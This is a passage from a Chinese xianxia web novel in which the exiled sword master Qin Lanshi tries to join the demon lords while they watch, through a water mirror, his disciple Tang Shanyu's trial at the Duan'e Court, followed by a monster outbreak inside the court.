秦兰时倒也不恼,毕竟他已经想过了,要是以曾经的青莲剑尊身份过来参加魔主比试的话肯定会遇到点熟人。 只是……这个人到底叫什么名字啊。 好难想…… “你不会忘记我叫什么了吧?”眼前的对手那犀利的目光宛若渗毒的刀子般狠狠地扎在秦兰时的身上,他露出自己的胳膊,胳膊上布满了扭曲剑痕:“你忘记了吗?我这只手臂可是拜你所赐。” “……”对,好像是他弄的来着。 秦兰时点了点头,然后笑:“那再来另一只手臂?” 只见对手一顿,整个人肉眼可见地红温了:“你……你……!” 几乎是一瞬间的事,对手呃呃啊啊地举着武器冲过来,而毫无悬念的,秦兰时对他来了个一击必杀,等结算的时候秦兰时还在慢悠悠地拿帕子擦着剑上的血。 到最后,秦兰时也没有想起来失败者的名字。 “获胜者是…是……时澜!!!”主持人崇拜地看着秦兰时,脸色微红,慕强是魔族的天性:“请问……这位大人作为胜利者有什么想说的吗?” “唔,这个嘛……”秦兰时作势想了一下。 “他能有什么好说的。”突地,一道声音极为阴冷地在上方响起,抬头看去,那高台观赛区里不知何时站了个人,而这个人秦兰时认识,大伙们也认识。 那是江易年,他曾经想要置秦兰时于死地,也是众多魔兽的主人,那位热于研究魔物的四魔主大人。 “一条丧家犬罢了,怎么,不好好在你的宗门待着,跑到我们这地儿来当魔主威风了?”江易年笑了一下,然后慢悠悠地自上方跳下,落在秦兰时的面前,脸上的那道长疤衬得他整个人面容阴暗得很:“哦,是我忘了,你被宗门给赶出来了,现在不过是一条无家可归的流浪犬。” 虽然早就想过会有这样一天,但是秦兰时没有想到他在江易年心里居然还能是条狗,因为江易年在他心里已经是阴暗蟑螂那种存在了。 丝毫不知道自己在秦兰时这里连狗都不是的江易年还在挖苦秦兰时:“你想当魔主,呵,谁知道你是怀着什么心思过来的。” 这让秦兰时难得紧张了一下,随后他也学着江易年冷笑了一声:“什么心思,想要踩到你头上的心思,我都来魔界了,总不能在你手底下过活,这堂堂魔主,你能当我凭什么不能当。” “果然……”江易年略勾了一下唇,然后又笑了:“我就知道你贼心不死,想当魔主是吧,来,先和我打一场。” 说完,那黑色长刀出现在了江易年的手上,刀尖上染着黑红的光。 “打赢了你我就是四魔主了对吧?不过我觉得四这个数字不是很吉利,我就退而求其次当个五吧。”秦兰时闻言也是一笑,准备在战斗过程中把江易年打成残疾,于是他挽留过剑花,将剑刃对准了江易年所在的方向。 “这个你不能只问我。”江易年继续呵呵,自从看到秦兰时起他就一直在笑,也不知在笑个什么。 就在战况一触即发的时候,有人喊了停,在另一个高台上的看戏人笑眯眯地道:“好啦好啦,别打了啦,小四儿,还有那个小美人?” “按照流程,我们该让胜利者进七重殿里头,去获得那位大人认可了,放心好了,到时候要是小美人儿没有获得认可你再出手也不迟。”尹离郁金光闪闪地出现了,她穿得极为高贵,且看上去就特别败家,秦兰时有一瞬被闪得直眨眼。 “七重殿?”秦兰时看了看江易年。 江易年一副难道他还会和你解释的模样笑看着秦兰时。 “就是七位魔主日常聚会的地方啦?对了,是日常哦?”尹离郁吐了吐舌头,俏皮一笑:“不是什么特别重要的地方,你放心好了。” “这样啊……”秦兰时点了点头,压根没有放心下来,因为江易年注视他的目光是如此的强烈,这种要被人剥皮拆骨的感觉还挺让人毛骨悚然:“…别看我了。” “我看你怎么了?”江易年笑了一下,也不知他为什么还能笑得这样开心。 “……我不好你这一口,真的,我们没有缘分,也不玩宿敌梗。”秦兰时已经双手环抱胸前,警惕无比地看着江易年。 “哈?谁对你……”江易年刚想反驳什么,突地,他想起什么笑了:“哦,我想起来了,你还是个为老不尊对徒弟有龌龊心思的混蛋,没想到正道人士也没那么光鲜亮丽嘛。” “……那咋了。”秦兰时翻了个白眼,总之依旧保护着自己清白,而尹离郁则已经在他们面前带路了,看似没有听他们交谈,实际上耳朵已经悄咪咪竖起了。 “没什么,只是你像只老鼠一样逃到魔域,现在还不知道正道那边的动作吧?哦,就你那个徒弟,现在正在断恶庭接受审判呢,这第二次要是成了,估计就要上刑了。”江易年乐呵地笑了,把这个噩耗丢给秦兰时听。 秦兰时没有说话。 江易年见人没有动,微微皱眉,许是达不到他想要的效果,于是江易年选择再接再厉:“怎么?在第三次审判结束后,那你可就别想再见到你的小情人了。” 这个时候,秦兰时笑了一下,看上去很不在意地挥手道:“怎么?你觉得我是真心的?不过是玩………” 说着,秦兰时顿了顿,他看着江易年,那含笑的眼眸里化作了冷霜,下一瞬,他就举起剑咻地一下朝着江易年脖子砍过去,颇为不耐烦地道:“啊~对,我现在心情真的很糟糕啊,你还说这种事情惹我,是想我把你大卸八块吗?” 江易年本能地举起武器格挡,刀剑相交的声音让走在面前的尹离郁停下了脚步,她转过头很是无奈地道:“哎呀哎呀,那么快就打起来可不好。” “是我想打吗?明明是江易年他满口喷粪。”秦兰时笑着,紧接着,他手上那剑上的力度更大了。 “…哈?老子说的是实话,怎么你还对小情人念念不忘啊?把这个弱点送给我那真是太不巧了,改天我肯定要把他杀了,举着他的头到你面前当球踢着玩。”江易年也怒了,手上的刀的力度也再次增加。 “那我就先在这里杀了你!!!”秦兰时觉得此子断不能留,于是忘情了发狠了,直接从兜里拿出另一把剑直直地朝着江易年屁股上捅。 “你?!”江易年没想到秦兰时居然有钱买新剑,眼看他来不及躲闪,下一刻,尹离郁无奈地用扇子抵住了秦兰时这一剑。 “不行啊,下次再打吧,我得把你们俩完好无损带回去,行行好,嗯?”尹离郁一边叹气一边觉得自己难得要当个正经人,这样一想,她现在居然不是浑身上下都不是乐子,那也太可悲了。 秦兰时收起了剑,偏过头去不再看江易年,别看他刚才那副不耐烦的模样,实际上他的手心直冒冷汗,如果刚才他直接说对山玉没有意思,那还真是断得太彻底了,彻底过头就很可疑了。 而且之前就有传闻青莲剑尊对徒弟极好,要星星和月亮都成那种,他要是说什么关系都没有,魔族信吗?换作是他也不信啊。 但是这样子,山玉就成为了他的弱点……江易年肯定不会放过这个弱点的……不过山玉那边有顾延清看着,应该目前不会有太大的问题…… 现在他最主要的是取得这边的信任。 秦兰时看了一眼前面的尹离郁,在尹离郁说完话后江易年就安静了不少,看起来可以利用她牵制住江易年。 “嗯?你看我做什么?”尹离郁似有所觉地转过头,笑看着秦兰时:“难道说………” 秦兰时稳住了表情,继续听着尹离郁下半句话。 “你看上我了?”尹离郁自恋地摸了一下自己的脸,极为羞涩地说:“真巧,其实我也觉得你是个极为好看的人……如果你能来当魔主,那我肯定有空就去找你玩儿~” “不用了,我对你没有兴趣,而且我已心有所属。”秦兰时正直地拒绝了这一切,而尹离郁这些话也让他下定了以后离这个女人远一点的决心。 “天啊,那么专一,就算坠入魔道也对自己的爱人念念不忘吗?好浪漫啊。”尹离郁捧着脸,一副少女怀春地说着:“你真是个好男人呢~” 秦兰时:…… 秦兰时没有回话,不如说,他总觉得尹离郁的这番话应该不是这个意思。 很快,那边的尹离郁露出了比方才还要灿烂的笑容:“好~就那么决定吧,待会我让大人给你可以一个加入我们的任务,就定为……” “杀爱证魔吧!” 秦兰时:…… 看啊!这果然是个地地道道的魔! 秦兰时开始考虑起逃离魔域或者自立为王的两个计划了,就在他考虑的时候,前往七重殿的步伐并没有因此而停止。 很快,他们来到了大门口,凶兽栩栩如生地盘旋在门口的柱子上,它们的头部都对准了来人,给人一种它们会冲出来咬断人脖子的感觉。 “…你们这里的建筑都那么特别吗?”秦兰时扯了扯嘴角 一副欲言又止的模样。 “是呀是呀,这是我们的特色~”尹离郁笑嘻嘻地回应着,然后,她看到了心心念念的其他同僚,就开心地跑过去:“来了!来了!咱们的新魔主候选人———” “是前青莲剑尊,随清宗叛徒,为师不尊,对自己徒弟下手的——且被各大门派下了追杀令的秦兰时大人~” 好长的前缀,感觉对于魔族来讲这不仅仅是辉煌的过去,也是个人简历。 秦兰时咽了一下口水,然后无比警惕地看着眼前的魔主们,大部分他都认识,毕竟当初袭击随清宗的魔主都在这儿呢,烧成灰他都认得。 “嗯。”那位大人冲尹离郁点了点头,然后道:“比起这个,我们的主上也来了。” “…什么!是主上大人吗!”尹离郁一愣,随后绽开了笑颜:“太好了,我之前都没能好好看过就被大人您藏起来了呢!” “…醒了吗?比预想中要快啊。”江易年略有思索了一下,“果然是体质特殊吗?那么短的时间内就吸收完了?” “看来实力会强悍不少啊,我能和主上比试一下吗?”好战的楼栖凤有些跃跃欲试。 “呵,无聊。”段明野依旧是那副没劲的模样,他抱着臂,对于秦兰时的到来也不给予一个眼神。 依旧没有来的大魔主和七魔主……哦不,因为任行舟死了,所以现在应该是六魔主。 而大人嘛依旧是那副笑眯眯的模样,他点了点头,然后抬起头看向上方宝座……什么时候多了个宝座。 “刚建的,怎么样,很适合我们主上吧。”大人一副笑呵呵的模样,秦兰时居然在他身上看出了一丝对主人的溺爱。 秦兰时觉得自己瞎了。 不过这个主上……按照原文来看,除了那个人也没有其他了…… 秦兰时抬起头,看着那个宝座,以及那个慢慢从左侧走进来的人,熟悉的面孔让秦兰时的心安定了一下,剩下的全部都是对剧情走上原轨道的担忧。 啊。 感觉这个魔主他真的得努力当当了。 只见谢璟穿着一身玄色长袍,他穿得很不守男德,锁骨,胸膛等等坦然外露,松散的衣服,还有那不修边幅的模样,左手臂上绑着不知道哪里来的红绳,无聊地缠满了整个手臂,红绳上挂着的铃铛响得清脆。 “……哪里来的红绳?”江易年有些困惑。 什么?原来你们并不知道谢璟这样打扮的吗? “可能是孩子无聊玩的吧。”大人一副慈父的模样,看上去真的很溺爱。 “哇~主上这样子真好看~”尹离郁兴奋地捧着脸在下边喊着。 “红绳?武器?有意思。”楼栖凤那充满战意的眼睛已经急不可待。 “……想回去。”段明野想回去继续左拥右抱了。 “居然吸收那么快,看来下次可以准备更多的量了。”可能馋谢璟身子的江易年露出了邪笑。 秦兰时:…… 真无语。 疯子。 一群疯子。 …… 为了融入其中,所以他也要变成疯子!!! 第267章 水镜看之 那么该怎么融入呢? 为此秦兰时想了好几个方案,但是因为太过癫狂被秦兰时亲自否决了,这个不叫发疯,应该是作死。 现在敌众我寡,情形不适合他发这种疯,于是秦兰时又机智了一下,选择适当的发疯。 在谢璟出来后,只见秦兰时怒指谢璟,嘴里全是让人费解的话语:“你怎么能穿成这样?!” 话一落,惊四座。 “…你什么意思?你是在质疑我们的审美吗?”他们刚夸完谢璟这个模样很对魔尊味呢,就被秦兰时给反驳了? 其中的江易年尤其不满,他怒瞪秦兰时,手上的刀欲染其血:“怎么?你以为这里是你们正派的地盘?穿个衣服都要说这说那的。” “我提议……”秦兰时不顾众人之注视,说出接下来的话:“他应该不穿,裸奔。” 众人:? 谢璟:……? 极好乐子的尹离郁眼睛一亮,不由得笑着应和秦兰时的话:“此言也有几番道理。” “三魔主说得是呀,这话可满是道理呀。”秦兰时点点头,跟着笑了。 “……”江易年的嘴微抽了一下,然后看向了旁边的段明野,段明野还在神游天外呢,在察觉到江易年的视线后,段明野也看了过来。 而江易年眼睁睁地看着段明野露出一丝阴冷的笑:“关我屁事,自己琢磨去。” 被攻击到的江易年当然要开口反驳了,可下一刻那位大人抬手制止了这番冲突,他笑了笑:“好了,开开玩笑也就罢了,我们接下来该说一下关于……秦兰时你那入我魔党的事宜。” “哦,好吧,那我算入成功了吗?”秦兰时眼见逃不掉了,只能硬着头皮上了,他也跟着笑了笑,让自己看上去好相处些:“我可是把他们都打趴下了,我听说魔族可是以强者为尊的。” “是这样的,你的实力我们有目共睹,当初在随清宗你也是出了一番力。”大人笑容淡淡的,让人捉摸不透。 “我很欣赏你的武力。”那边的楼栖凤微微一笑,看向秦兰时,她抚上了装有自己武器的戒指,似乎准备随时取出来与秦兰时大战三百回合。 “……”秦兰时继续微笑。 这番话就差直说自己和随清宗剪不断理还乱了。 秦兰时笑了一下:“是吗?那很棒棒了,所以呢?要求是什么?” 大人也不拐弯抹角了,继续笑道:“嗯,很简单,我们需要证明。” “哎呀,小兰时,这个很简单的啦,我们不要求你去把顾延清杀了,你可以把你徒弟杀了给我看啊。”尹离郁在旁边火上浇油,乐此不疲。 “……要不我先杀了你?”秦兰时长呼一口气,笑吟吟地说着:“明知道那是我的徒弟还这般说?” “杀不了的话,那就当你的心还在随清宗那里咯?”尹离郁面对这番威胁丝毫不动摇。 “若是你愿意将你那徒弟拉拢过来,也不是不可以。”说到这里,可真是图穷匕见啊。 秦兰时嘴角微抽,大抵明白这群魔想让自己徒弟当间谍去了,先用自己不能接受的杀徒弄乱他的心神,然后再用更让人接受些的解决法子让他心理上安定些。 真是好算计。 “…哈,那也要见面才能说……再说了…要是他不肯怎么办?”秦兰时试图委婉一下。 “如果小兰时是我们这边的人,养个小情人也没什么大不了的啊。”尹离郁勾起唇,比起其他魔主,她的发言是最多的,甚至越来越有兴致:“把他丹田毁了再养呗~咱们这里也有不少灵丹妙药,吊几百年的命也是可以的。” “…你以为我不敢杀你吗?”秦兰时笑眯眯地挽了个剑花指向尹离郁:“你最好谨言慎行一些。” “不好意思~唯独这件事我不太能答应你呢~”尹离郁笑容灿烂如花,最后,她语气阴沉沉地道:“死也不要。” “好了,这件事容后再议吧,比起这个,我们要不要欣赏一下断恶庭那边的好戏?”大人说这话的时候,是看向秦兰时的:“审判盛况的热闹我们的人自然也是参加的。” 秦兰时:…… 爱看热闹是每一个物种的本能吗? 话音刚落,秦兰时眼睁睁地看着一个大的水镜浮出来,然后水镜里头唐山玉正站在台上,高处则是审判官宣读他的罪证。 “哇哦~那么巧啊~”尹离郁捂嘴笑了一下。 你们是真的巧还是假的巧,谁知道啊。 秦兰时冷笑了一声,但是心里不由得紧张了一下,可以看出这个水镜所链接到的主人离这审判台有点远,所以秦兰时并不能看真切唐山玉此时此刻的表情。 与此同时,坐在上边的谢璟慢悠悠地换了个姿势,淡淡地看着这水镜里的人,双目无神的,也不知是在发呆还是单纯觉得无聊。 在那头,第二次审判已经开始了,也不知那审判官念了多少个罪行,每说一个就问唐山玉:“你认罪吗?” 唐山玉都回答说不。 而只有那个问题,让唐山玉难得沉默了,问题就是:“你和魔修秦兰时暗中勾结的事情是真的吗?” 这直接问到唐山玉的怒点了,他倒是想暗中勾结,但是那人压根没有给他机会,甚至进入魔域后一点消息都没有传出来。 “……”唐山玉沉默。 而在魔域,几位魔主都不约而同看向了秦兰时,秦兰时不由得挺直了腰板,他是有点慌的,因为他根本不知道现在的山玉会说什么…… 不如说,在他去魔域之前对山玉的最后印象都是那个站在高楼处衣着单薄的少年,现在看到的山玉……怎么还是看上去那么瘦弱。 顾延清有好好养吗? 此时坐在位置上的顾延清突然感觉到脊背一寒,他不由得抖一下身子:“……” “…师兄?怎么了?”宋鸠还在无聊地打哈欠,然后他看了看好像抖了一下的顾延清。 “没有。”可能是错觉吧。 “没有暗中勾结。”唐山玉开口了,他淡淡地瞥了一眼台上的诸位,还有那火辣辣的注视,他敢肯定,自己绝对不是一个喜欢上台表演的家伙。 别看他表面上非常淡定,实际上唐山玉也不是很适应这种赤裸裸的审视,这和在万象盛会取得第一不同,就算那时候或许掺着几缕恶意,但那并不明显。 就算前世……他汇报PPT大家都只是单纯觉得无聊而已。 现在的他感觉到看到了一座朝自己压过来的巨山,这座大山所带来的压力让唐山玉有一瞬间难以呼吸,那是名为恶意的大山。 难怪第二次审判的时候大部分的人受不了还容易说错话,很难不怀疑这断恶庭可能还抓住了人的心理这一点。 但比起难以呼吸,唐山玉想到的是秦兰时和谢璟,再想想他们的,还有自己的,那片刻间的心疼反倒是抵过了自己此时此刻的压力。 不管怎么样呢……人生总要有第一次的。 唐山玉重新整理好了心情,一字一句地说:“而且他是个混蛋,是他抛弃我在先。” …… “你…抛弃了小情人?”尹离郁一脸八卦地看过来:“真的假的?细说?” “啧啧啧……”江易年虽然知道这点没道德的事情在魔域没什么,但是这可是可以贬低秦兰时的机会,他怎么会错过。 “…这长得也就那样吧。”段明野审视了一番唐山玉的外貌,得出了这个评价:“你眼光不怎么样。” “?是你眼睛不好!”秦兰时本来还在方唐山玉为什么说那样的话,突地就听到了段明野的发言,这他哪里能忍当即就开口:“山玉明明就很好看!” “没你好看。”段明野看秦兰时的眼神深邃了起来。 秦兰时:…? “小明野他男女不忌,恭喜呀。”尹离郁在旁边加了一把火,加得秦兰时往后退了好几步,离段明野远了不少。 “真无聊。”楼栖凤这样说着,她耸了耸肩便转头就走:“我对这种阴谋诡计没什么兴趣,我就先走了,哦,你们自己决定吧,我没有意见。” 说完楼栖凤一甩她的长披风,潇洒地离开了,有这个时间还不如找人打一架呢。 而那边的秦兰时支支吾吾的,与此同时那水镜里头审判官又问了一次:“真的没有暗中勾结,那你知道你方才的话是什么意思吗?如果你对那个魔头有私情在,往后我们怎么相信你不会在对抗魔族的战争里不会成为内应!!” “……”那你咋不说宠溺谢璟的顾延清也有可能成为内应,不就是软柿子挑着捏。 “在遇到那魔头的时候要是心软了,造成更大的伤亡怎么办?”这审判官虽声声质问,但也有几分道理。 “…啧,你们转变一下思维啊,要是他为什么不能当我们的内应啊?怎么偏偏是我当魔族内应?”唐山玉面露不满,不过非要说起来,这群人就逮着他们这对师徒一个劲地薅是吧。 山玉,你这话好直白…… 秦兰时站在几个魔头里头欲哭无泪,但是他也知道这般直白的话语是最容易打消的……不过,这是第一层,万一对方在第二层呢? “秦兰时,你不会心软吧?不会也成为那些正道的内应吧?”魔族这边也开始问了,江易年首当其冲,他笑嘻嘻地看着秦兰时,准备等他的回答。 要是秦兰时回答得不让人满意,那么他们可以就在这里把秦兰时给杀了,到时候把头颅丢去正道那里还能让他们失些战意。 “哦,你觉得我会吗?”快点想,原著里的秦兰时怎么当成魔头的,怎么当成魔头……:“换句话说,要不是当初我那徒弟昏迷,我早就把他带过来了,怎么想都是你的问题。” 先发制人,其实也有转移视线的嫌疑,所以这个时候就要自己主动提起。 “你们要是觉得我是内应的话,要不现在让我去杀几个正道的玩玩,当然除了我的徒弟。”先说出自己的想法,顺便暴露一下自己的弱点,好让对方觉得自己可以被掌控。 “刚好,告诉我魔域出口在哪里,我过去断恶庭把我家徒弟给救回来,顺便在那里杀几个?”秦兰时笑眯眯地看着他们,悠哉悠哉地说着:“别看我这样淡定,其实我急得很呢。” 要有强烈的私欲,并且要到明目张胆的地步,但是同时也要有点隐瞒,太过自然也是一种问题。 “不过你们要是不说,那就算了。”秦兰时挥了挥手,微微一笑:“我能怎么办呢?毕竟我还不是魔主。” 稍微提出自己的一点小诉求,当然是轻飘飘的那种,要有点阴阳怪气,但是同时也要表达得不是很急切。 因为从目前这样看来,不是很急切其实是假的,实际上他真的很急,而最乐见其成的江易年肯定不会放过这一点:“那你就看着吧!” 秦兰时恰到好处地皱了一下眉头。 与此同时,秦兰时可以察觉到那位大人还在观察着自己,似乎在判断他话中的真假。 “哦,那没关系,我徒弟不会有事的。”要突出自己好像对正道的事情了解不少,其中就有包括随清宗,秦兰时怼回去的时候将自己的话语赋予了这样的意义。 “你怎么知道?”江易年真会配合他的演出。 “你猜?”秦兰时不细说,而是露出一个高深莫测的笑容。 这种真真假假其实恰到好处,如果太真就显得他太过迫不及待,太假就显得他心不诚,而这种半真半假的程度刚刚好。 与此同时,那边的唐山玉也开口了,只不过他没有秦兰时这样真真假假,而是直接地说:“我和他怎么样关你屁事,再说了,要是真的担心,打架的时候不要让我和秦兰时对上啊。” 好直白,山玉什么时候那么直白了,他不应该是阴阳怪气地刺几句吗? 只不过对面的审判官脸色不怎么好。 秦兰时看得也畅快……其实魔族看得也开心,比如尹离郁:“哈哈,你看他!脸色都青了!” 就在众人以为这场审判会一直下去的时候,突地,一阵地动山摇下,好似有什么东西自下方破裂开来,随即唐山玉那地板出现了几道裂痕,轰隆一声下,一只巨大的海兽自里头钻了出来,身上的金链把它困得极为难受。 尽管如此,这只海兽还是遮住了天上的太阳,它身上带着些许海水,在它飞至空中的时候宛若雨下。 紧接着,它垂下头颅,朝着唐山玉那边咆哮而去。 唐山玉:……? 他是有叫那几人弄点动静的计划,但是他没有想到这个动静那么大啊…… 眼见那海怪就要过来把他吞下了,唐山玉身上还带着抑制灵力的手铐,他往后退了一步,正犹豫要不要暴露自己能脱离这个手铐的时候,顾延清就提着剑过来了。 第一道剑气扫来,斩的是海兽的躯壳,第二道剑气紧随其后,斩的是海兽的灵力,两道剑光下,海兽发出了一声呜咽,身形也无力地至空中落下,然后掉回了那个洞里。 魔域那里,那几位魔主看到顾延清淡淡地收回了剑,也难得开始讨论起来。 尹离郁率先脸红了起来:“哇~天青剑尊还是那么帅气,说起来我们魔域里头也有不少仰慕他的魔修呢,据说他们在以能够让顾延清使出天青剑招的目标努力着呢。” “你们魔族这样慕强?”秦兰时难得震惊了一下。 “不过是一群蠢货。”江易年不满地道。 “剑招很利索。”段明野看完后评价了一句。 “毕竟是那位尊者嘛。”就连那位大人也难得笑眯眯地夸了一句:“可惜了,栖凤走得快,怕是没有看到这一幕呢,要是看到了估计会恨不得冲过去和那位尊者较量一番吧。” 谢璟依旧无聊地看着,他甚至还打了个哈欠,秦兰时看到这一幕不由得在心里夸一句这记忆洗得可真彻底。 与此同时,水镜里的顾延清收起剑后就转头和唐山玉低声说些什么,并且直接用灵力化刃劈开了那手铐。 唐山玉暂时恢复了自由,他活动了一下手腕,也和顾延清笑着说些什么,顾延清也淡淡地点了点头,一副说什么就听什么的模样。 这默契无比又自然氛围,不知道的还以为这俩人才是师徒。 就在秦兰时酸酸地这样想的时候,突地,他看到那水镜里的顾延清和唐山玉不约而同地收起了谈笑的神情,随即朝这边看了过来。 唐山玉居然还瞒有闲情逸致地朝这边挥了挥手,笑容依旧,但他那眼睛里没有一丝笑意,并且抽空还对着这边做了几个口型。 紧接着而来的,顾延清那带着杀意的冰冷双眸直直地扫向水镜背后的几位魔主,刹那间,水镜破碎,碎下来的水珠落了一地,但那人所带来的寒意好似还留着心里头。 而众人也看懂了唐山玉所做的口型意思。 他说的是: “找,到,你,们,了。” 谢璟略微挺直了身子,他眼里闪过了些许兴趣,突地,他笑了一下,手上还尚在把玩的红绳被他一把扯断,随后将那断掉的红线无情地丢下。 纷纷扬扬的。 像那场断掉却还纠缠的缘。 第268章 深入断恶庭 “那魔修死了?”唐山玉一边问一边唤出自己的剑握在手上,剑上灵力所燃起的火正若隐若现:“顾师伯可知方才是怎么回事?” “没有死,只是晕过去罢了,会有人把他带下去问话的。”顾延清低下头,查看着那方才钻出的洞,随后他一把提住唐山玉的后衣领往后一跳,一阵剧烈的咕噜声随着急风而来,许多条黑色长虫从地下钻了出来。 它们的身形看似软弱无力,但身上都咕噜咕噜地蠕动着不知名的泥浆,那泥滴落在地上,那块地板瞬间被侵蚀。 四周一片惊呼,围观的众人因为这源源不断的长虫疯狂往后退去。 “……它们身上的煞气很足,可能是断恶庭关押的东西跑出来了。”顾延清看了一眼,说:“这也是你的计划之内吗?” “不是,我没这样神通广大。”唐山玉觉得这口锅自己可不背:“再说了,把这些放出来对我没什么好处,我只是想要玩舆论战,好让断恶庭身败名裂啊。” 没想过要放怪出来祸乱众生。 唐山玉觉得自己应该不是个大反派,所以真正的大反派肯定另有其人。 “顾师伯,我有想要去做的事。”唐山玉看了一眼那些长虫,觉得此事应有蹊跷。 “我明白了。”顾延清点了点头:“等我处理完这边的事情我们再一起去……” “宗主!宗主!”宋鸠在远处喊着:“你和山玉一起走吧,这里有我们几位长老就可以了!!” 梁均在旁边打着算盘,一边敲打一边算着:“嗯,这些东西破坏的材料我们随清宗就有不少,再加上锁链的制造………” “梁长老,别算了,那边的长虫要打过来了。”这是一位拿着双长剑的女长老。 “梁长老,你不会想着它们搞破坏越多我们就赚越多吧?太明显了,有人看过来了,我们还是动手吧,名声好才能赚钱啊。”这是一位拿着拂尘的男长老。 “噢噢噢!好,那走吧。”梁均收起手里的算盘,唤出了一座宝塔:“为了钱……不是,为了苍生。” 说完,白衣一拂,长剑舞动似春日花绽,拂尘长挥游走于长虫间,塔内闪烁着金光,只见一层塔亮,群魔尽镇,后有灵水自空中化作水滴,漂浮在战场间,随后幻化成尖刺,往那长虫的躯体内狠狠刺去,似入万剑来阵。 “顾师伯?”唐山玉抱臂看着顾延清,笑道:“我要去深处,我可能有几个朋友在那里,走吧。” 顾延清看了那边一眼,随后收起了剑,转过身:“嗯,我知道了。” 随后俩人一起往断恶庭深处走去,他们路过了挥舞着武器的审判官们,他们对于这些魔物露出了厌恶的表情,毫不犹豫地一杀一个准,并且喊着其恶必除。 本来准备实施唐山玉的在舆论的最高潮自证清白计划的小队伍也开始帮忙疏散群众,江玉瑶帮受伤的人治疗,张欣雅运起长枪驱赶长虫,地上留下了一条长长的火焰分割线。 不管如何,他们一路向前,然后由顾延清一剑劈开了那扇大门,往断恶庭内部走去,里面先是类似于办公的地方,到处摆着卷轴,笔墨纸砚散落在桌上,乱糟糟的样子倒像个勤奋办公的地儿。 “人呢?”唐山玉张望四周,问道。 “有人去处理深处的魔物了,有人去处理外头的。”顾延清平静地回复道:“先往下走。” “……好哦。”唐山玉点了点头,然后乖乖巧巧地跟在顾延清后头,顾延清走一步他就走一步,顾延清走两步他就走两步。 顾延清:…… “怎么了?”顾延清转过头问唐山玉:“…有什么事吗?山玉。” “我没事啊。”唐山玉眨了眨眼,然后露出属于阳光开朗大男孩的笑容:“我看上去不是很阳光开朗嘛?” “…可你方才一直不说话。”顾延清顿了顿,继续问道。 “顾师伯也不说话啊。”唐山玉笑了笑,然后摆手道:“比起我,最不对劲的是你啊,顾师伯,你好像一直在担心什么。” “……”顾延清沉默了,然后反问回去:“那我在担心什么?” “不知道,因为我没有在担心任何东西。”唐山玉特别直白地说着:“因为有顾师伯在身边,我特别有安全感。” “…你不是有朋友……”顾延清沉默了一下还是开口问了:“你不担心吗?” “要说一点都没有那是假的,比起担心我更多的是信任,我相信他们。”唐山玉说着就直接越过了顾延清往前走去:“所以,快走吧,这塔内的煞气可浓着呢。” 这次轮到顾延清跟在了唐山玉的后边,俩人一前一后地往前走着,走下一层又一层的,他们来到了一个好像是阵法与迷宫搭配建立出来的地方,到了这个地方后,大牢就在不远了。 突地,唐山玉停了下来,他转头问顾延清:“……呃,你有没有听到什么?好像是哭声?” “没有。”顾延清果断摇头,但是与此同时他神色一冷:“哭声何处?许是引诱你前去的陷阱。” “……看来对方引诱不了您一点。”见顾延清神情自若的模样,唐山玉大概明白这哭声是属于精神方面的攻击,随后他指了个方向:“在那边。” 下一刻,顾延清直接挥剑打去,那墙壁瞬间轰隆隆的碎开,而唐山玉也被这直接的一剑给惊得没有回过神来,他本能地弄开因剑风而遮住自己眼睛的那些头发。 在墙的后边,他们看到了一个跪坐在地上呜呜呜呜地哭着的少女,她身上有不少的伤痕,抬眸间清泪直流,看上去是那么的楚楚动人。 “你好?你在哭什么呢?”唐山玉走上前面一点,就被顾延清的剑给拦了下来,所以他只能站在安全的不能冒险的地方和那少女说话:“是遇到什么事了吗?需不需要帮忙?” “……”顾延清似是有点困惑,他不明白唐山玉为什么要和这个非人的东西说那么多,因为在他眼里的这个可不是什么少女,而是一个浑身淤泥的黑漆漆的玩意儿,这玩意儿浑身上下长满了嘴巴,正在不停地发出咕噜咕噜的声音。 “山玉。”顾延清想了一下,理解了山玉与他的实力差距后直白地说:“她不是人。” “我知道呀,但是你不要给我看真容,现在就很好。”唐山玉抬起手阻止顾延清要往他额头上的那一点,他故作高深地摇了摇头:“我只是想试试能不能聊天,不能就算了。” “因为一切的爆发都是有源头的,我只是想通过小喽啰找出点线索罢了。” “不能。”顾延清摇了摇头,随后他对着那东西抬起手:“但,它身上有线,我可以找得到,那个到底在哪里。” “不愧是顾师伯,就是厉害。”唐山玉听到这话眼睛一亮,然后就说:“这周围煞气那么大,你可以找得到我朋友嘛?” “……你让他们带那黑石了?”顾延清稍作探查,沉默地看过去。 “…果然找不到啊。”唐山玉心虚别过头,然后说:“有备无患,有备无患嘛,这东西多好用啊。” “…但是有利有弊。”顾延清沉默了一下:“其实最近梁均那边有了改良版本,回去后你们都用那个吧。” “哦!那个我知道,因为黑石之间……”唐山玉拨弄了一下耳上那坠子,笑着道:“那独有的线连接着它们。” 与此同时,拥有黑石的另一边,由方安城为首带着那叶玄洲,李行川还有熟悉路的应悦曦躲在一旁,四周是昏暗的,其中似有血红的影子在那边的拐角一闪而过。 “…怎么回事?那些魔物不是被你们断恶庭关起来的吗?谁放出来的。”叶玄洲咬牙切齿地贴着墙壁,转头问向应悦曦。 “…如你们所说,看来断恶庭内部有些老鼠在作乱。”应悦曦神情复杂地看着这些黑影子,然后叹了口气。 “…啊?那不是糊弄……”叶玄洲刚想说什么,然后就被李行川捂住了嘴巴。 “那么姑娘打算做什么?这些魔物数量有点多,我们能不能出去还是未知数。”李行川定了定神,随后分析道:“但是就这样放任不管,这断恶庭的塔身怕是会撑不住这些魔物,最后倒塌。” “你所担忧的也是正常,毕竟断恶庭在世多年,全靠大家的维护才能抑制住魔气的外泄,如今内部若是出现败类,从内部向外腐蚀的趋势已深,很难不怀疑那些家伙会在塔内做手脚。” “你们那些锁链大部分都在那里,就不能全拿出来用一下吗?多少钱我都给啦!什么材料什么咒师。”叶玄洲真的很想用钱解决任何问题,毕竟能用钱解决的一般都不是什么问题。 “……锁链不是最要紧的,最要紧是那些金咒,那是我们断恶庭内部独有的秘法,就连我也不知道要怎么用。”应悦曦顿了顿,然后说:“不过我认识一个前辈很会画这个金咒,现在他应该在外边帮忙。” “这样,只要找到那个前辈就可以了对吧?”方安城在这个时候开口了,他指了指一个方向:“那些魔物都往那边走,以此类推断恶庭的出口应该在那个方向。” “哦!那走吧!”叶玄洲眼睛一亮,正准备过去的时候被李行川按住了肩膀。 “你又干嘛?” “……不用那么急,你们方才没有听到崩塌声吗?断恶庭之所以能被修仙界的人赋予信任,不只是他们先前累积的公正名声,而是建造断恶庭的材质本就特殊,如果不是实力强悍的人很难破坏。” 